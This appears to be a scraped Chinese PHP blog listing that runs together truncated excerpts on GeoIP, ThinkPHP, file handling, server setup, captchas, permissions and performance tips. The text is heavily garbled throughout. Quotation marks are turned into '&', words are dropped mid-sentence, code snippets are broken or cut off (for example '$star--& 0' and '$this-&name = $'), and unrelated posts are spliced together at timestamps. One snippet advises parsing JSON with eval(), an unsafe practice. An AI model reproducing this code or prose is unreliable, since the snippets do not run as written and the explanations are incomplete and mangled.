所谓GeoIP,就是通过来访者的IP, 定位他的经纬度,国家/地区,省市,甚至街道等位置信息。这里面的技术不算难题,关键在于有个精准 的数据库。有了准确的数据源就奇货可居赚点小钱,可是发扬合作精神,集体贡献众人享用是我们追求的。
GeoIP如 何使用?
首先我们需要数据信息,所以先获取一个免费的数据库: ,接着解压得到:GeoIP.dat, 然后就是对数据文件的按需操作,这边范例使用的是PHP。
GeoIP + PHP的使用 09:55:04PHP读取远程文件的三种方法
file_get_contents
$contents = file_get_contents($url);
//如果出现中文乱码使用下面代码
//$getcontent = iconv(&gb2312&P, &utf-8&P,file_get_contents($url));
$url = &/&;
$ch = curl_init();
$timeout = 5;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT 19:50:33thinkphp 语言包加载失败的解决办法
在浏览器未设置默认语言的时候,thinkphp便检测不到语言,导致语言包加载失败直接输出。
thinkphp2.0语言检测和模板检测是在ThinkPHP\Lib\Think\Core的App.class.php的239行开始,查看代码便可知,当未检测到语言的时候,无法加载语言包。
我的解决办法是,在项目公共部分从配置表中读取站点要设置的语言和模板,代码只有三句话
cookie('think_language','en-us',3600);
cookie('think_template','default',3600);
App::init();
原理就是在thinkphp框架编译完后 21:32:29php json_decode返回数据js的处理
php json_decode后,返回到前台的数据如:encode_str&& =》{&green&:10,&size&:5,&strock&:12}
则 js通过 eval(&obj = & + encode_str + &;&) ;
便可将json数据实例化为对象,& 直接obj.green即可得到数据。 21:10:38thinkphp 多主题和多语言的使用方法
ThinkPHP提供了设置多语言和多主题的接口,如
语言切换:?l=zh-cn
主题切换:?t=default
对应的目录位置:
APP/Lang/zh-cn/common.php& - 简体中文
APP/Tpl/default/Index/index.html& - 默认主题
模板使用语言输出 18:41:12thinkphp 自带常量
Action中使用的系统常量
THINK_PATH // ThinkPHP 系统目录
APP_PATH // 当前项目目录
APP_NAME // 当前项目名称
MODULE_NAME //当前模块名称
ACTION_NAME // 当前操作名称
TMPL_PATH // 项目模版目录
LIB_PATH // 项目类库目录
CACHE_PATH // 项目模版缓存目录
CONFIG_PATH //项目配置文件目录
LOG_PATH // 项目日志文件目录
LANG_PATH // 项目语言文件目录
TEMP_PATH //项目临时文件目录
PLUGIN_PATH // 项目插件文件目录
VENDOR_PATH // 第三方类库目录
DATA_PATH // 项目数据文件目录
IS_APACHE // 是否属于 Apache
IS_IIS //是否属于 IIS
IS_WIN //是否属于Windows 10:35:09PHP断点续传的实现
$fname = './MMLDZG.mp3'; &
$fp = fopen($fname,'rb'); &
$fsize = filesize($fname); &
if (isset($_SERVER['HTTP_RANGE']) && ($_SERVER['HTTP_RANGE'] != &&) && preg_match(&/^bytes=([0-9]+)-$/i&, $_SERVER['HTTP_RANGE'], $match) && ($match[1] & $fsize)) {
&& &$start = $match[1];
&& &$start = 0;
@header(&Cache-control: public&); @header(&Pragma: public&);
if ($star--& 0) { &
&& &fseek($fp, $start); &
&& &Header(&HTTP/1.1 206 Partial Content&); &
&& &Header(&Content-Length: & . ($fsize - $start)); &
&& &Header(&Content-Ranges: bytes& . $start 14:52:52又一篇关于PHP性能优化的文章
1、升级硬件的一般规则:对于 PHP 脚本而言,主要的瓶颈是 CPU ,对于静态页面而言,瓶颈是内存和网络。一台 400 Mhz 的普通奔腾机器所下载的静态页面就能让 T3 专线(45Mbps)饱和。
2、Apache 处理 PHP 脚本的速度要比静态页面慢 2-10 倍,因此尽量采用多的静态页面,少的脚本。
3、PHP 脚本如果不做缓冲,每次调用都需要编译,因此,安装一个 PHP 缓冲产品能提升 25-100% 的性能。
4、把基于文件的会话切换到基于共享内存的会话。编译 PHP 时采用 --with-mm 选项,在 php.ini 中设置 set session.save_handler=mm 。这个简单的修改能让会话管理时间缩短一半。
5、另外一项缓冲技术是把不常修改的 PHP 页面采用 HTML 缓冲输出。
6、如果你采用了 Linux 系统,建议升级内核到 2.6.0以上(现在最新版本为2.6.10)并开启抢占式内核支持,因为静态页面由内核服务。
7、采用最新版本的 Apache ,并把 PHP 编译其中,或者采用 DSO 模式,尽量不要采用 CGI 方式。
8、采用输出缓冲(请参考ob_start),如果你的代码有很多的 print 和 echo 语句,能提速 5-15% 。
9、不要在 Web 服务器上运行 X-Windows ,关掉没有必要运行的进程,如果已经安装了X-windows,请使用 init 3退出。 14:18:31thinkPHP学习笔记[持续更新]
快捷方法:
A:快速实例化Action类库
B:执行行为类
C:配置参数存取方法
D:快速实例化Model类库
F:快速简单文本数据存取方法
L:语言参数存取方法
M:快速高性能实例化模型
R:快速远程调用Action类方法
S:快速缓存存取方法
U:URL动态生成和重定向方法
W:快速Widget输出方法
Vendor\Zend\Filter\Dir.php
Vendor('Zend.Filter.Dir');
lib\Think\Util\Session.class.php
import(&Think.Util.Session&);
MyApp项目下面的Lib\Action\Us 17:30:56php读取操作大文件
在php中,对于文件的读取时,最快捷的方式莫过于使用一些诸如file、file_get_contents之类的函数,简简单单的几行代码就能 很漂亮的完成我们所需要的功能。但当所操作的文件是一个比较大的文件时,这些函数可能就显的力不从心, 下面将从一个需求入手来说明对于读取大文件时,常用的操作方法。
有一个800M的日志文件,大约有500多万行, 用php返回最后几行的内容。
1. 直接采用file函数来操作
注:由于 file函数是一次性将所有内容读入内存,而php为了防止一些写的比较糟糕的程序占用太多的内存而导致系统内存不足,使服务器出现宕 机,所以默认情况下限制只能最大使用内存16M,这是通过php.ini里的 memory_limit = 16M来进行设置,这个值如果设置-1,则内存使用量不受限制.
下面是一段用file来取出这具文件最后一行的 15:40:49ThinkPHP去除url中的index.php
例如你的原路径是 http://localhost/test/index.php/index/add
那么现在的地址是 http://localhost/test/index/add
如何去掉index.php呢?
1.httpd.conf配置文件中加载了mod_rewrite.so模块& //在APACHE里面去配置
#LoadModule rewrite_module modules/mod_rewrite.so把前面的警号去掉
2.AllowOverride None 讲None改为 All&&&&& //在APACHE里面去配置 (注意其他地方的AllowOverride也统统设置为ALL)
&Directory &D:/server/apache/cgi-bin&&
AllowOverride none& 改&& AllowOverride ALL
Options None
Order allow,deny
Allow from all 11:37:58php+FreeBSD + Nginx 环境搭建
为什么要选择 FreeBSD?
官 方网站: 中文网站:
FreeBSD是一个优秀的unix操作系统,基于宽松的BSD协议,是完美的企业级操作系统,以重点突出性能和安全而闻名,行业领先的企业多年以来一直 使用FreeBSD服务器。具有同所有其它开源软件操作系统竞争的高级性能。
Unix兼容性强
极 其稳定、可靠
强大的网络功能
多用户、多任务
使用方便(按照极好的说明文件操作)
为什么要选 择 Nginx?
&(&engine x&) 是一个高性能的 HTTP 和&&服务器,也是一个 IMAP/POP3/SMTP&。Nginx 是由&&为 俄罗斯访 问量第二的&站点开 16:31:03php+CentOS + Nginx 环境搭建获取相关开源软件包本文中提到的所有开源软件包为截止到日的最新稳定版,且均从官方网站下载。mkdir -p /home/softwarecd /home/softwarefetch http://sysoev.ru/nginx/nginx-0.8.24.tar.gzwget ftp://ftp.csx.cam.ac.uk/pub/software/programming/pcre/pcre-8.00.tar.gzwget ftp://xmlsoft.org/libxml2/libxml2-2.7.6.tar.gzwget http://www.zlib.net/zlib-1.2.3.tar.gzwget ftp://ftp.simplesystems.org/pub/libpng/png/src/libpng-1.2.40.tar.gzwget http://www.ijg.org/files/jpegsrc.v7.tar.gzwget http://ftp.twaren.net/Unix/NonGNU/freetype/freetype-2.3.11.tar.gzwget http://www.libgd.org/releases/gd-2.0.35.tar.gzwget http://www.php.net/get/php-5.2.11.tar.gz/from/this/mirrorwget http://php-fpm.org/downloads/php-5.2.11-fpm-0.5.13.diff.gzwget http://ftp.gnu.org/pub/gnu/libiconv/libiconv-1.13.tar.gz
安装、升级所需的程序库利用CentOS Linux系统自带的yum命令安装、升级所需的程序库yum -y install gcc gcc-c++ autoconf libtool* openssl openssl-devel安装 Mysql5.1.40Mysql5.1.40 下载地址 16:21:04php命令行方式的学习&
PHP 命令行?是的,您可以!/developerworks/cn/opensource/os-php- command/ 14:28:09PHP 权限设计及算法
大概有这几种 模式:
用户+组+角色+权限
用户+组+权限
用户+角色+ 权限
最 近看了别人的设 计方法,大多以&整数&来表示权限值,如添加、浏览、删除和修改,分别用1、2、4、8这几个整数来代替,不过,各人的做法有所不同,举例如下:
1. 用2的n次幂组成权限值的集合,如1、2、4、8、16...,某用户的权限值为其子集中的整数之和,如 7=1+2+4,5=1+4。如果要从数据库检索包含某几种权限的用户,则先把这几种权限值相加,假设和为k,然后select * from table where 1 and 用户权限值 = 'k';如果要 13:12:12PHP Ctype函数
Ctype函数是PHP内置的字符串体测函数。主要有以下几种
ctype_alnum -- Check for alphanumeric character(s)
检测是否 是只包含[A-Za-z0-9]
ctype_alpha -- Check for alphabetic character(s)
检测是否是只包含[A- Za-z]
ctype_cntrl -- Check for control character(s)
检查是否是只包含类是&\n\r\t&之类的字 符控制字符
ctype_digit -- Check for numeric character(s)
检查时候是只包含数字字符的字符串(0-9)
ctype_graph -- Check for any printable character(s) except space
检查是否是只包含有可 以打印出来的字符(除了 09:51:42php利用crypt函数加密和解密
// +----------------------------------------------------------------------+
// | Wiki Framework |
// +----------------------------------------------------------------------+
// $string 明文 或 密文 必填
// $isEncrypt 是否加密 可选,默认为加密
// $key 密匙 可选,默认为空格
// $b = dencrypt($a,TRUE,'123');&
// $c = dencrypt($b,false,'123');
// 采用SHA1生成密匙簿,超过300个字符使用ZLIB压缩
function dencrypt($string, $isEncrypt = true, $key = KEY_SPACE) {
&&& if (!isset($string{0}) || !isset($key{0})) {
&&& $dynKey = $isEncrypt ? hash('sha1', microtime(true)) : substr($string, 0, 40);
&&& $fixedKey = hash('sha1', $key);
&&& $dynKeyPart1 = substr($dynKey, 0, 20);
&&& $dynKeyPart2 = substr($dynKey, 20);
&&& $fixedKeyPart1 = substr($fixedKey, 0, 20);
&&& $fixedKeyPart2 = substr($fixedKey, 20 17:48:51php 字母大小写转换总结
1.将串成小写
tolower(): 该将传入的串所有的都成小写,并以小定放回这个串
toupper(): 该的作用同tolower相反,是将传入的的全部成,并以的这个串.同tolowe()一 样.
3.将串首成
ucfirst(): 该的作用是将串的第一个改成,该首的串.同tolowe()一 样. 11:06:2250个有用的PHP工具
测试和优化工具
23:13:59PHP使用P3P完成COOKIE跨域操作
P3P可以完成跨域 COOKIE操作
实际工作中,类似这样的要求很多,比如说,我们有两个域名,我们想实现在一个域名登录后,能自动完成另一个域名的登录,也就是PASSPORT的功能。
为了测试的方便,先编辑hosts文件,加入测试域名(C:\WINDOWS\system32\drivers\etc\hosts)
127.0.0.1&&&&&&&
127.0.0.1&&&&&&&
首先:创建 a_setcookie.php 文件,内容如下:
//header('P3P:&CP=&CURa&ADMa&DEVa&PSAo&PSDo&OUR&BUS&UNI&PUR&INT&DEM&STA&PRE&COM&NAV&OTC&NOI&DSP&COR&');&&
setcookie(&test&,&$_GET['id'],&time()+3600,&&/&,&&.a.com&);&&
然后:创建 a_getcookie.php 文件,内容如下:
var_dump($_COOKIE);&&
23:29:03fleaPHP里的RBAC权限模型
RBAC 是(Role-Based Access Control)的缩写,也就是基于角色的访问控制。RBAC 的定义比较晦涩,我就以比较生动的来阐述什么是 RBAC。
ATM 机的一天
假设有一台 ATM(自动提款机)放在街边,我们来看看这个 ATM 度过的一天。
早上,有一个家伙走到 ATM 面前,对着机器说:&芝麻开门,芝麻开门,给我 100&块!&。很显然 ATM有任何动作。失望之余,这个家伙踢了 ATM 一脚走了。
中午,一位漂亮的 Office lady 走到 ATM 机面前,放入她的,输入后,取出了 1200&块钱。当然,这些钱很快就会变成一件衣服或是化妆品。
下班时分,银行的工作人员来到 ATM 机器面前,放入一张特制的磁卡,然后输入。从中查询到 ATM 机器内还有充足的现金,无需补充。所以他很高兴的开着车去下一台 ATM 机器所在地了。
现在我们要开发一台具有同样的 ATM 机,怎么
23:29:28PHP autoload和spl_autoload自动加载机制详解
PHP auto详解
(1) auto概述
在PHP的OO开发时,通常大家上将每个的实现都存放在一个单独的里,这样会很容易实现对复用,同时将来维护时也很便利。这 也是OO设计的基本思想之一。在PHP5之前,如果需要一个,只需要直接include/require将其包含进来即可。下面是一个实际的例 子:
/* Person.class. */
class Person {
__construct ($name, $age)
$this-&name = $
$this-&age = $
/* no_auto. */
require_once (&Person.class.&);
Person(&Altair&, 6);
_dump ($person);
在这个例子中,no-auto.需要Person,它了re 17:13:03php实现的基本的数据结构和算法,什么二叉树、二叉搜索树、AVL树、B树、链表和常见排序、搜索算法&
里面发现一个
实现的基本的
,什么二叉树、二叉
树、AVL树、B树、链表和
等等,而且全部是
面向对象来实现的,确是是很强。
./books/opus11/
/Opus11-1.0.tar.gz
./books/opus11/
19:41:05php在线解压缩工具
终于找到几款好用的在线解压缩了!
如果你的空间不是通过cPanel管理的,那么强力推荐你,特别是国内。
XOOPS以及module的通常都很,一个小站点都有好几千个,这种情况下,无论是还是备份,如果用FTP一个个、,即使你的空间很快,还是要花很长!!
把压缩成一两个压缩包,再、就能大大节约。
():在本地先把压缩为一两个压缩包,接着用FTP,最后用在线解压解压。
(备份):先用在线解压压缩为一两个压缩包,接着,最后在本地解压。
1、z: 浩公出品的,绝对五星级推荐:http://.pvw.net/Down/
这个有两种:和windows下运行的。它们的目的都是解压缩,但是用的场合不同,一个是在空间运行,一个是在本地运行,两者配合,无敌!一个小小的遗憾就是这个生成的压缩包不是的压缩。不过这并不影响它成为五星级!强烈推荐大家。 19:36:36开源 PHP 验证码 Securimage 带语音识别
&img&id=&captcha&&src=&/securimage/securimage_show.php&&alt=&CAPTCHA Image&&&/&
&input&type=&text&&name=&captcha_code&&size=&10&&maxlength=&6&&/&
&a&href=&#&&rel=&nofollow&&target=&_blank&&Reload Image&/a&
后端PHP验 证:
session_start();
include_once&$_SERVER['DOCUMENT_ROOT']&.&'/securimage/securimage.php';
$securimage&=&new&Securimage();
if&($securimage-&check($_POST['captcha_cod
22:11:08PHP文件缓存数据类 22:30:07四种 PHP验证码
//checkNum.php
on& title=&seon& &seon_start();
$srcstr=&ABCDEFGHIJKLMNOPQRSTUVWXYZ&;
mt_s();//乱数种子
for($i=0;$i &$;$){
$strs.=$srcstr[mt_(0,35)];
strtoupper($strs);
$str=ran(4); //随机生成的串& title=&串& &串
$width = 50; //的宽度
$height = 25; //的高度
@(&Content-Type:image/png&);
$_SESSION[&code&] = $
$im=imagecreate($width,$height);
//背景色 17:42:00php使用phpmailer发送邮件不显示中文的解决办法php
是 很优秀的发件
要 发件时,
能 正常利用
smtp/pop3服务的
发送信件给指定
却显示不了,
只 要将send.php(我写发送
即可。 14:50:34php采用rails思想提交数据入库
最近一直在考虑一种更方便的提交,
就POST来说,通常我大部分都是POST的,这样通常都是获取POST然后过滤,然后处理后提交到库,现在如果加入rails的思想提交,然后的和POST中的名称一致,并且跟库中的一样,这样就可以利用获取$_POST 中的key然后循环一下就可以不用写句中的了,然后按照顺序$_POST中的value写进去就ok了,一种很便捷的呢,在这个就是一个要求敏捷的.
CREATE TABLE `table` ( &&
&&`id` int(255) unsigned NOT NULL auto_increment, &&
&&`` char(255) NOT NULL default '', &&
&&`age` char(255) NOT NULL default '', &&
&&`adds` char(255) NOT N 13:00:37php基础安全多方面总结
1.PHP的基本
1.1全局注册
事实上,全局是无辜的,它产生漏洞。
一般我们会关闭全局的是:它会增加漏洞的数量;隐藏了的来源,与开发者需要随时跟踪的责任违背;
注:如果必须在一个了register_globals的环境部署应用时,重要的一点是,必须要初始化所有,并且把_reporting设为E_ALL(或E_ALL | E_STRICT)以对未初始化警告。
当register_globals开始时,任何未初始化的行为就意味着漏洞。
php的报告方便了我们开发时误的确认和,但这些描述如果被恶意攻击者看到,就不妙了。所以开发结束后我们要关闭报告。 21:44:45PHP开发WAP游戏的一些注意事项
序:WAP是没有客服端的,仅仅是通过上的链接,输入框,等等,实际上,所有的运行都是在端。举个简单的例子说:比如在地图上移动这一动作,首先地图的所有都是保存在上的,无论是还是DB,而要表示当前玩家所在的位置在哪,也仅仅是把地名,本地的描述,,及NPC等有关生成一个发送给,就这么简单。而玩家要从本地移动到其它地点,也仅仅需要点击一个用POST或GET传递地点ID的链接便可完成,在,当前能够接收到一个合法的地点ID时,便将本ID更新到玩家的中去,并生成对应本地的生成即可。
从三介绍一些做WAP所需要注意的:,,延展。
输入:这是最基本的,也是最可能被忽视的一点。&1+(-10000)&,这是什么?这就是&&最常用的一种,它出现在当你的需要输入一个时,比如,玩家可以把自己钱送给其他玩家,很简单,看看自己有没有这么钱(if($my_money&$give_money)()),有的话,给自己扣钱,并给其他玩家加钱。完成。但你试试下面这段:
[php]&?php
$a=&1+(-111111)&;
$b=2; 13:08:00一个简洁的PHP操作Access类&
FileName:cls_access.php
Summary: Access数据库操作类
*************************************
使用范例:
========================
$databasepath='D:/wwwroot/cef/www/class/testdb.mdb';
//或者$databasepath='testdb.mdb';
$dbusername='';
$dbpassword='';
require_once('cls_access.php');
$access=new Access($databasepath,$dbusername,$dbpassword);
print_r($access-&getlist(&SELECT TOP 5 * FROM `Result` WHERE `Re 12:53:25简洁的PHP操作SQLite类
SQLite是一款轻型的库,是遵守ACID的式库管理,它的设计目标是嵌入式的,而且目前已经在很嵌入式产品中了它,它占用非常的低,在嵌入式设备中,可能只需要几百K的内存就够了。它能够Windows/Linux/Unix等等主流的操作,同时能够跟很言相结合,比如Tcl、PHP、Java等,还有ODBC接口,同样比起My、PostgreSQL这两款开源著名的库管理来讲,它的处理比他们都快。
这里为大家提供一个简洁的PHP操作SQLite:
//应用举例
require_once('cls_ite.');
$DB= SQLite('blog.'); //这个库任意
$DB-&(&create table test(id integer primary key,title char(50))&);
//接下来添加
$DB-&(& into test(title) values('小 12:40:55php使用jquery.imgareaselect插件上传图片
在开发中难免碰到!很好,而到上的尺寸大小不一,使表现无法统一的规格显示被的。&
那么被的的 等比例缩 与等放 还有等截图 可能会给我们的开发带来障碍!&
&j.imgarea处理完全可以这的;&
j.imgarea&官方:http://odync.net/projects/imgarea/&
导入j和j.imgarea后
$(window).( () { &
&&$('#myimg').imgAreaSelect({ ionColor: 'blue', ionOpacity: 0.2, &
&& &borderWidth: 2 }); &
myimg:需要处理的& 09:47:53关于PHP CGI和CLI的几点学习&
首先关于几个概念词的总结:
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
:&公共网关接口&(Common Gateway Interface),HTTP
与你的或其它机器上的
&交谈&的一种
环境中,为&
的接口,通过这个接口,&
言并没有要求。
CGI就要提供CGI中要求的环境
,或者还有别的。我的理解至此为之。
行界面&(Command Line Interface),可在
提示符下键入可执行
接口&(Server Application Programme Interface),可以认为是
端的API。貌似和CGI是一个
提供的API可能不同,但是他们都提供了CGI。所以可以理解CGI是每个
有的SAPI。
有自己的SAPI,IIS也有 22:56:58IIS下PHP的CGI,ISAPI,FastCGI比较&
-under-iis-for-cgi-isapi-
-compare/&&博吧
在Windows IIS 6.0下
PHP,通常有CGI、ISAPI和FastCGI三种
都可以在IIS 6.0下成功运行,下面我就讲一下这三种
和性能上的差异。
  1、CGI(通用网关接口/Common Gateway Interface)一般是可执行
各自占据着不同的
,而且一般一个CGI
只能处理一个
。这样,当
时,会大量占用
,如内存、CPU
等,造成效能低下。
  2、ISAPI(Internet Server Application Program Interface)是
提供的一套面向WEB服务的API接口,它能实现CGI提供的全部
,并在此基础上
,如提供了过滤器应用
接口。ISAPI应用大
,可以在被
后执行,,在处理完一个
马上消失,而是继续驻留在内存中等待处理别的
输入。此外,ISAPI的DLL应用
处于同一个
要显著高于CGI。
  在Windows Server 2003的IIS6下
是,在IIS的&WEB服务
&中,添加一个新的WEB服务
为PHP,ISAPI
l,然后再&环境
,在Internet
21:50:48PHP定时生成静态html首页
本文来自小屋【原创】
//这边的定时也是需要用户触发 否则 使用设置html&&php计划任务的方法来实现的话资源耗费较大
$nowtime=time();
$pastsec = $nowtime & $_GET[&t&];
if($pastsec&60)
&&& //1分钟更新一次,时间可以自己调整
ob_tart& title=&start& &start(); //打开缓冲区
include(&index.php&); 22:53:09PHP的FTP操作函数大全&& & & &ftp_connect: 打开 FTP 链接。  ftp_login: 登入 FTP 服务器。  ftp_pwd: 取得目前所在路径。  ftp_cdup: 回上层目录。  ftp_chdir: 改变路径。  ftp_mkdir: 建新目录。  ftp_rmdir: 删除目录。  ftp_nlist: 列出指定目录中所有文件。  ftp_rawlist: 详细列出指定目录中所有文件。  ftp_systype: 显示服务器系统。  ftp_pasv: 切换主被动传输模式。  ftp_get: 下载文件。  ftp_fget: 下载文件,并存在已开的档中。  ftp_put: 上传文件。  ftp_fput: 上传已打开文件。  ftp_size: 获得指定文件的大小。  ftp_mdtm: 获得指定文件的最后修改时间。  ftp_rename: 将文件改名。 21:14:52格式化php代码的两种方法
本文来自【原创】
1/&&&& 组装 phpCodeBeautifier +&Emeditor (详细见:)
下载phpCB.exe(下载地址:)
使用Emeditor扩展外部工具:工具-&打开外部工具-&自定义工具-&新建
标题,php代码格式化
命令,点击浏览,找到phpCB.exe的路径
参数,&$(Path)&&
初始目录,不填&
图标,随便
保存文件,可打勾可不打
使用输出栏,打上勾
之后打开php文件 就能选工具里的php代码格式化,就会输出格式化后的代码。再保存一下。
2/&&&&phpCB批量转换的php程序(详细见:/)
phpCB批量转换的php程序:
header(&Content-type: text/ charset=gb2312&);
& 20:57:15使 Emeditor能调试PHP
本文来自【原创】
工具-&打开外部工具-&自定义工具-&新建&
标题,php调试&
命令,点击浏览,找到php.exe文件,我的是C:\xampp\php\php.exe&
参数,&$(Dir)\$(Filename).$(Ext)&&
初始目录,不填&
图标,可填可不填,我填的是选择了一张ico
保存文件,可打勾可不打,我没有打勾&
使用输出栏,打上勾
之后打开php文件 就能选工具里的php调试。
20:05:23《Head First 设计模式》php设计模式版
* 策略模式
* 定义了算法族,分别封装起来,让它们之间可以互相替换,
* 此模式让算法的变化独立于使用算法的客户。
//飞行行为接口
interface FlyBehavior {
public function fly();
//呱呱叫行为接口
interface QuackBehavior {
public function quack();
//翅膀飞行
class FlyWithWings implements FlyBehavior {
public function fly() {
echo &I'm flying!!\n&;
class FlyNoWay implements FlyBehavior {
public function fly() {
echo &I can't fly!\n&;
class FlyRocketPowered implements FlyBehavior {
public function fly() {
echo &I'm flying with a rocket!\n&;
class Qquack implements QuackBehavior {
public function quack() { 21:23:32服务器推技术简介及php实现服务器推技术的聊天室
  首先是首页,包含一个文本输入和一个显示聊天内容的iframe,还有一个隐藏iframe用来提交form表单:
//chat.php
header('cache-control: private');
header('Content-Type: text/ charset=utf-8');
&script type=&text/javascript&&
function submitChat(obj) {
obj.submit(); 20:29:15什么样才算学好php
也算做PHP蛮久了,我也在想水平怎么样呢?找人凭什么说明人家的水平呢?其实这个有工作经验的成分,有知识面的成分,也有深度的成分。知识面觉得了你可以跟哪些人顺利的交流和工作,知识深度决定了你的工作能力和工作效果,工作经验是避免了你工作产生失误。
我很强调知识面,也是自己的个性所以然。我就喜欢看很多东西,但是我学东西的深度也许都不大,但我却有了和别人沟通的前提。所以我成为不了专家也许。成为专家的人是一群痴迷的人,为工作学习疯狂的人,只有这样的人才是专家。这个也是《卓有成效的管理者》一书说的一方面,这本书很好,我还得温习一遍才行。
回到正题,不多说,但看了一下别人发的帖子,所以转了,PHPer可以参考参考:
《什么样才算是学好了 20:52:24优化PHP代码,使php更高效
1.如果一个方法可静态化,就对它做静态声明。速率可提升至4倍。&
2.echo 比 print 快。&
3.使用echo的多重参数(译注:指用逗号而不是句点)代替字符串连接。&
4.在执行for循环之前确定最大循环数,不要每循环一次都计算最大值。&
5.注销那些不用的变量尤其是大数组,以便释放内存。&
6.尽量避免使用__get,__set,__autoload。&
7.require_once()代价昂
22:58:24如何在php中判断一个网页请求是ajax请求还是普通请求
如何在php中判断一个网页请求是ajax请求还是普通请求?你可以通过传递参数的方法来实现,例如使用如下网址请求:
/path//script.php?ajax
在php脚本中使用如下方法判断:
if(isset($_GET['ajax'])) {
...这是一个ajax请求,然后...
...这不是一个ajax请求,然后...
通过传递_GET参数的方法简单实现了网页请求的判断。但是如果需要这样的功能,这个方法可能就有弊端,功能需求如下:
1.通过ajax请求的网页与普通请求 22:48:20php发送邮件:phpMailer使用介绍
发送邮件是一个经常使用的功能,但是php的默认支持并不是很好,这里介绍一个很好的开源模块:phpmailer,此模块功能比较全面,支持SMTP验证。下面就简单介绍一下它的使用方法:
1 下载phpmailer模块: 官方网站 http://www.phpdoc.org/
2 解压到一个文件夹
3 在php文件中包含 require_once(&class.phpmailer.php&);
4 使用SMTP发送邮件: 22:40:22用PHP的ob_start();控制浏览器cache!&
Output Control 函数可以让你自由控制脚本中数据的输出。它非常地有用,特别是对于:当你想在数据已经输出后,再输出文件头的情况。输出控制函数不对使用 header() 或 setcookie(), 发送的文件头信息产生影响,只对那些类似于 echo() 和 PHP 代码的数据块有作用。
我们先举一个简单的例子,让大家对Output Control有一个大致的印象:
Example 1.
ob_start(); //打开缓冲区
echo \&Hellon\&; //输出
header(&location:index.php&); //把浏览器重定向到index.php
ob_end_flush();//输出全部内容到浏览器 20:25:05PHP的日期时间运算总结&
//GB2312的Encode
header(&Cache-Control: no-store, no-cache, must-revalidate&);
header(&Cache-Control: post-check=0, pre-check=0&, false);
/*重点了解strtotime()函数
1、strftime比time()好用,可以直接把常用的&&转成时间戳。
2、date()可以显示1970年前的时间。而不必用负数做参数2
3、日期计算可以用时间戳来中转。计算两个日期相差的天数,可以取得相差的时间戳后除以&24小时*60分*60&秒来得到,但用strtotime()更简洁、
4、了解用PEAR创建日历。这 19:38:582010年最新PHP类的精缩归纳&
一:结构和调用(实例化):
class className{} ,调用:$obj = new className();当类有构造函数时,还应传入参数。如$obj = new className($v,$v2...);
二:构造函数和析构函数:
1、构造函数用于初始化:使用__construct(),可带参数。
2、但析构函数不能带参数(用于在销去一个类之前执行一些操作或功能)。析构函数用__destruct()做名称。在脚本执行结束时,PHP会销掉内存中的对象,因此可不用析造函数,但有些比如COOKIE等,就应当要用此函数销掉。
知识点:在PHP4中也提供了构造函数 19:34:17php设置时区的两种方法
本文来自【原创】
php5后都要自己设置时区,要么修改php.ini的设置,要么在代码里修改。
在PHP.INI中设置时区
date.timezone = PRC
在代码中设置时区
1 date_default_timezone_set('Asia/Shanghai');//'Asia/Shanghai' & 亚洲/上海
2 date_default_timezone_set('Asia/Chongqing');//其中Asia/Chongqing'为&亚洲/重庆&
3 date_default_timezone_set('PRC');//其中PRC为&中华人民共和国&
4i ni_set('date.timezone','Etc/GMT-8');
5 ini_set('date.timezone','PRC');
6 ini_set('date.timezone','Asia/Shanghai');
7 ini_set('date.timezone','Asia/Chongqing');
以上七种方法,任意一个都可以满足我们需求。
系统初始化时,加上 15:42:57
发表评论:(这里的评论会加到留言板)}

我要回帖

更多关于 webform教程 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信